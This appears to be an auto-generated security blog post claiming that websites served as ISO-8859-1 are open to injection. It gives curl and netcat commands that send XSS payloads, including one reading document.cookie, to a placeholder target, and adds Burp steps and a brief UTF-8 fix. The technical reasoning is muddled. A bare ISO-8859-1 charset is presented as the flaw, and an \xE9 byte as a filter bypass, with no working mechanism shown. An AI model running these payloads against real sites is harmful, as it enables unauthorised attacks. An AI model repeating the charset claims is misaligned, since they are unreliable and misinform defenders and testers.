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When a target website uses ISO-8859-1 charset instead of UTF-8, it opens potential injection vulnerabilities. Attackers can exploit this by injecting malicious payloads in HTTP headers, URL parameters, or form inputs.
You Should Know:
1. Detecting Charset Vulnerabilities
Check the server’s charset via HTTP headers:
curl -I http://target.com | grep "Content-Type"
If the response includes `charset=ISO-8859-1`, proceed with exploitation.
2. Injecting Malicious Payloads in User-Agent
Use `curl` to inject payloads:
curl -A "<script>alert(1)</script>" http://target.com/vulnerable-endpoint
3. XSS Exploitation via URL Parameters
If the site reflects input without proper encoding:
curl "http://target.com/search?q=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E"
4. Bypassing Input Filters
ISO-8859-1 can bypass some filters expecting UTF-8:
Using special characters (e.g., 0x80-0xFF range) echo -e "GET /search?q=\xE9<script>alert(1)</script> HTTP/1.1\nHost: target.com\n\n" | nc target.com 80
5. Automated Testing with Burp Suite
Configure Burp to modify charset headers:
1. Intercept a request in Burp.
2. Change `Content-Type` to:
Content-Type: text/html; charset=ISO-8859-1
3. Insert payloads in parameters.
6. Fixing the Vulnerability (For Developers)
Ensure UTF-8 encoding in server responses:
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
Or in PHP:
header('Content-Type: text/html; charset=UTF-8');
What Undercode Say
Charset mismatches (ISO-8859-1 vs. UTF-8) can lead to XSS, header injection, and filter bypasses. Always enforce UTF-8 in web apps and sanitize inputs. For penetration testers, manipulating charset headers is a powerful technique against misconfigured systems.
Expected Output:
- Detection of charset misconfigurations.
- Successful XSS payload execution.
- Bypassed input filters due to charset confusion.
Prediction
As web applications increasingly standardize on UTF-8, legacy charset vulnerabilities will decline. However, misconfigurations in older systems will remain exploitable for years.
(Relevant URL: OWASP Charset Encoding)
IT/Security Reporter URL:
Reported By: Activity 7335896357691420672 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
